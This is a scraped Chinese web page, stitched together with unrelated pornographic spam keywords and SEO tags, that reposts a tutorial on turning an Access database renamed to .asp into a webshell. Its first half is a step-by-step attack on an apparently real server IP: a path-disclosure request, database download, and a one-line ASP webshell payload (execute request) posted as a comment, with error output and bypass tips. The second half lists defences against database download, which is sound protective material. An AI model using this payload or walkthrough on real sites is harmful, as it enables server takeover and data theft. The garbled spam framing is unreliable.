好湿?好紧?好多水好爽自慰,久久久噜久噜久久综合,成人做爰A片免费看黄冈,机机对机机30分钟无遮挡

主頁 > 知識庫 > access改mdb為asp所帶來的災難 附mdb防下載方法

access改mdb為asp所帶來的災難 附mdb防下載方法
熱門標簽：智能電銷機器人適用于哪些行業 徐州人工智能電銷機器人好用嗎 長沙防封電銷卡品牌 地圖標注服務哪家好 西寧公司外呼系統平臺 騰訊地圖標注商戶關閉 地圖標注宅基地 武漢營銷電話機器人軟件 外呼系統還用卡么
先不說直接改后綴，直接可以用網快等工具直接下載，其實這樣你已經是為入侵者打開了大門。入侵者可以利用asp/asa為后綴的數據庫直接得到webshell。

一．思路

　　大家都知道％％>為asp文件的標志符，也就是說一個asp文件只會去執行％％>之間的代碼，access＋asp的web系統的所有數據都是存放在數據庫文件里（mdb文件），由于管理者把mdb文件改為了asp文件，如果我們提交的數據里包含有％％>，那當我們訪問這個asp數據庫的時候就會去執行％％>之間的代碼。這樣導致我們只提交惡意代碼給數據庫，那么asp后綴的數據庫就是我們的webshell了。

二．示例

　　隨便找個目標，首先我們暴庫，看是不是asp后綴的數據庫：http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5log_id=210


　　返回：
復制代碼 代碼如下:

Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'

/iisHelp/common/500-100.asp，行242

Microsoft JET Database Engine 錯誤 '80004005'

'D:\log_mdb\%29dlog_mdb%29.asp'不是一個有效的路徑。 確定路徑名稱拼寫是否正確，以及是否連接到文件存放的服務器。

/test/conn.asp，行18


　　我們提交：http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的亂碼，這樣我們可以直接用網際快車等工具直接下載數據庫（這里我們不討論）。我們回到主頁看到有提供“網友評論”功能。我們注冊個用戶，發一條評論：

％execute request("b")％>

　　這樣我們就把asp代碼：％execute request("b")％>寫入了數據庫，那么數據庫：就是我們的webshell咯。提交：http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在亂碼的最后我們看到：

復制代碼 代碼如下:

/iisHelp/common/500-100.asp，行242
Microsoft VBScript 運行時錯誤 錯誤 '800a000d'

類型不匹配: 'execute'

/test/dlog/log_mdb/%29dlog_mdb%29.asp，行1266


　　注意：我們在向數據庫提交代碼時，代碼內容不可以太大。所以我們采用％execute request("b")％>。

三．其他一些問題和思路

　　１．對于改了后綴為asp，還對數據庫里加入了％='a'-1％>等非法的asp代碼來徹底防止下載的數據庫，由于里面存在了非法的asp代碼，插入我們的webshell代碼后運行，將只會顯示前面非法代碼的錯誤，而不去執行我們shell的代碼。雖然這樣可以防止一定的攻擊，但還是存在一定的隱患，我們只要在出錯的代碼前加入兼容錯誤的代碼，就可以得到正確顯示執行我們插入的webshell代碼了。

　　２．對于沒有改后綴的，也就是mdb文件，這樣我們可以先直接下載下來得到后臺密碼，進了后臺，可以利用數據庫備用改后綴為asp。

mdb防下載方法小結

1:在iis6下面 如果一個擴展名沒有被定義則 訪問的時候會出現文件沒有找到的404錯誤。
因此你可以將數據庫任意命名成一個絕對不會出現的文件名就可以達到安全的效果比如：xxxxx.xxxxxxxxxxx


2 將數據庫放在網站的外部，那絕對就不能訪問得到了。例如： e:/web/是你的網站
則把數據庫放在e:/

3 正如樓上所說的 將.mdb 改成 .asp 同時倒入一個特殊的表 包含 % 的二進制字符 這樣訪問文件出現 缺少腳本關閉符的提示。
4 或者將.mdb 改成.asp 同時用winhex打開 可以發現176以后有很長一部分 00 字符串 你隨便在處改成一段asp代碼 也可以實現防止下載，這樣也不影響數據庫功能。例如：
%
response.write("非法訪問")
response.end()
%>


現在在數據庫的名稱里 加上 “#” 和空格 都被破解了 比如“#” = “%35” 而空格 = “%20”

所以說 現在用這些已經不管用了。。


如果是自己的服務器的話就在IIS里設置一下：

新建一個空白的DLL文件，然后在IIS里添加映射，可執行文件選剛才建的這個DLL，擴展名填.mdb，保存后重啟一下IIS服務即可。
您可能感興趣的文章:
  • IIS下防止mdb數據庫被下載的實現方法
  • 九種防MDB數據庫被下載的方法小結

標簽：雅安 通化 通遼 荊門 普洱 巴彥淖爾 運城 鷹潭

巨人網絡通訊聲明：本文標題《access改mdb為asp所帶來的災難 附mdb防下載方法》，本文關鍵詞  access,改,mdb,為,asp,所,帶來,；如發現本文內容存在版權問題，煩請提供相關信息告之我們，我們將及時溝通與處理。本站內容系統采集于網絡，涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《access改mdb為asp所帶來的災難 附mdb防下載方法》相關的同類信息！
  • 本頁收集關于access改mdb為asp所帶來的災難 附mdb防下載方法的相關信息資訊供網民參考！
    • 推薦文章